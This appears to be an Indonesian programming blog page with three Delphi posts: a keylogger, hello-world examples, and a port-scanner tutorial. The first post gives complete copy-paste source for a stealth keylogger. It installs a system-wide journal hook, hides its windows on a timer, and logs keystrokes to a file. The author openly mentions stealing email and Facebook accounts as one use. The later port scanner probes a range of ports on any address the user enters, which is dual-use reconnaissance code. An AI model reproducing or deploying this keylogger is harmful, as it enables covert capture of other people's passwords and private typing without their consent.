Program keylogger dari delphi

Selain untuk mencuri akun e-mail seperti yahoo,facebook dll, ada cara positif menggunakan sebuah keylogger di komp yang kita miliki, diantaranya untuk mengawasi anak dibawah umur, supaya ngak berbuat macam macam ketika menjelajah internet atau mencari konten yang dilarang dibaca anak di bawah umur.Tapi program semacam ini meski banyak beredar tentu saja kita harus mengeluarkan sedikit uang karna program ini nggak gratis, selain ngebuatnya susah, yah!kita harus menghargai karya orang lain.tapi jangan putus asa, kalau hanya sekedar untuk mencatat aktifitas keyboard,dengan delphi juga bisa bikin program seperti itu.

Berawal rasa ingin tahu bagai mana sebuah key loger bekerja, saya coba-coba cari pake om google,ternyata nongol juga sebuah kode sederhana.(tapi saya lupa lagi siapa yang punya tulisan tersebut jadi nggak bisa ngasih tau linknya sory).dengan sedikit perubahan dan penambahan akhirnya program keylogger yang super acak acakan ini bisa saya postingkan.(maksaken pisan ie mah).

kodenya tinggal di copas>>>

 unit keylog;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Panel1: TPanel;
    mlog: TMemo;
    Timer1: TTimer;
    Timer2: TTimer;
    procedure Timer2Timer(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 type t_evt = ^EVENTMSG;
var
  Form1: TForm1;
  hookhandle : HHOOK;
   bla : string;
implementation

{$R *.dfm}
function JournalCallBackProc(Code: Integer; wParam, lParam: longint): LRESULT;stdcall;
var y : string ;
var x : cardinal ;
var ev : t_evt;
begin
ev := ptr(lParam);
x := ev.paramL ;

if ev.message = 256 then begin
case x of
283 : UnhookWindowsHookEx(hookhandle);
7745 : y := 'a' ;
12354 : y :='b';
11843 : y :='c' ;
8260 : Y := 'd' ;
4677 : y := 'e' ;
8518 : y := 'f' ;
8775 : Y := 'g' ;
9032 : y := 'h' ;
5961 : y := 'i' ;
9290 : y := 'j' ;
9547 : y := 'k' ;
9804 : y := 'l' ;
12877 : y :='m' ;
12622 : y :='n' ;
6223 : y := 'o' ;
6480 : y := 'p' ;
4177 : y := 'q' ;
4946 : y := 'r' ;
8019 : y := 's' ;
5204 : y := 't' ;
5717 : y := 'u' ;
12118 : y :='v' ;
4439 : y := 'w' ;
11608 : y :='x' ;
11353 : y :='y' ;
5466 : y := 'z' ;
14627 : y := '';
14624 : y := ' ' ;
7181 : form1.mLog.Lines.Add(' ');
end;
end;
bla := y ;
form1.mLog.Text := form1.mLog.Text + y ;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
form1.Hide;
hookhandle := SetWindowsHookEx(WH_JOURNALRECORD, @JournalCallBackProc , Hinstance, 0);
if hookhandle = 0 then begin
mLog.Lines.Add('Hook Failed');
end
else begin
mLog.Lines.Add('Hooked');
end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
mlog.Lines.SaveToFile('key.log');
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
showwindow(findwindow(nil,'form1'),sw_hide);
showwindow(findwindow(nil,'myspay'),sw_hide);
end;

end.

Berbeda dengan posting contoh program sebelumnya,saya tidak akan menerang kan program ini di sini tapi nanti saya bahas fungsi dan procedur nya di  posting berikutnya.
Kalau mau ngepost kode di atas saya harap di tambah dan di kurangi terlebih dahulu supaya kode diatas menjadi lebih baik.( nggak acak acakan.)

Program hallo world

 Contoh di bawah ini adalah sebuah program konsol sederhana yang menampilkan kan tulisan "Hallo world". Program yang pertama kali di kemukakan oleh seorang penemu bahasa c bernama Brian W. Kernighan ini relatif lebih mudah dimengerti oleh para pemula.Oleh karenanya program ini sering muncul di berbagai buku maupun tulisan tentang pemrograman tingkat dasar.

Sebagai bahan perbandingan saya akan menulis dengan beberapa pilihan gaya penulisan program. yang mungkin dapat anda terapkan di program lain.

Program 1

program Project1;
{$APPTYPE CONSOLE}

uses
  SysUtils;

begin
write('Hallo world !');
readln;
end.

Program  2

program Project1;
{$APPTYPE CONSOLE}

uses
  SysUtils;
var mystr:string;
begin

mystr:='Hallo world !';
writeln(mystr);
readln;
end.

Program 3

program Project1;
{$APPTYPE CONSOLE}

uses
  SysUtils;
const

mystr = 'hallo World!'
begin
writeln(mystr);
readln;
end.

port scanner dengan delphi

Buat projek baru dari delphi. masukan kedalam form tiga buah edit kontrol, tiga buah button, dan satu buah memo.

kemudian ganti caption masing masing menjadi:
button 1=scan.
button2=stop.
button3=clear.
label1=Port awal.
labe2=Port Akhir.
label3=Adress.

Tempatkan masing masing kontrol sehingga tampak seperti gambar dibawah ini.

Atau anda boleh menempatkan sesuai selera anda.
Kemudian klik "memo1", pada object inspector, ganti properties ScrollBars dari "ssnone" menjadi "ssVertical.".

.

Jangan lupa tambahkan ttimer,serta ttcpclient kontrol. bagi yang tidak tahu "ttcpclient" ini dari tool palette berada pada katagori internet. dan untuk ttimer berada pada katagori system.
tempatkan keduanya terserah anda karena kedu komponen ini non visual. artinya tidak di munculkan saat pengeksekusian.

Klik 2 kali ditempat yang kosong pada form1.
masukan kode berikut:

memo1.Text:=' ';
timer1.Enabled:=false;
Tcpclient1.Active:=false;Pada variabel global tambahkan listing berikut :


pawal, pakhir, counter : integer;
nyambung : boolean;

klik 2x button1 (caption= scan) lalu tambahkan kode berikut :

timer1.Enabled :=true;
pawal:=strtoint(edit1.text);
pakhir:=strtoint(edit2.Text);

klik 2x button2 (caption stop) ketik:

Tcpclient1.active:=false;
timer1.Enabled:=false;

klik 2x button3 masukan

memo1.Clear;

klik 2x  timer1 masukan:

pawal:=pawal+1;
counter:=pawal;
label5.Caption:=inttostr(counter);Tcpclient1.RemoteHost:=edit3.Text;Tcpclient1.RemotePort:=inttostr(counter);Tcpclient1.Active:=true;
if nyambung then
begin
memo1.lines.Add('Port : '+inttostr(counter)+' Aktif');
end;Tcpclient1.Disconnect;Tcpclient1.Active :=false;

 if pawal=pakhir then
begin
timer1.Enabled:=false;
end;

klik ttcpclient1, pada object inspector di tab event, klik 2x event onconnect lalu ketikan :

nyambung:=true;

klik ttcpclient1, pada object inspector di tab event, klik 2x event onerror lalu ketikan :


nyambung:=false;

setelah semuanya dimasukan anda dapat mencoba mengeksekusi progarmnya.

untuk menggunakannya anda tinggal memasukan  angka satu pada label1 satu dan seribu pada label2 dan masukan ipaddres yang mau di scan. contoh:127.0.0.1(untuk local host). kemudian klik tombol scan.

so mudah-mudahan postingan ini bermanfaat.
Bagi yang males ngetik  bisa di download di sini.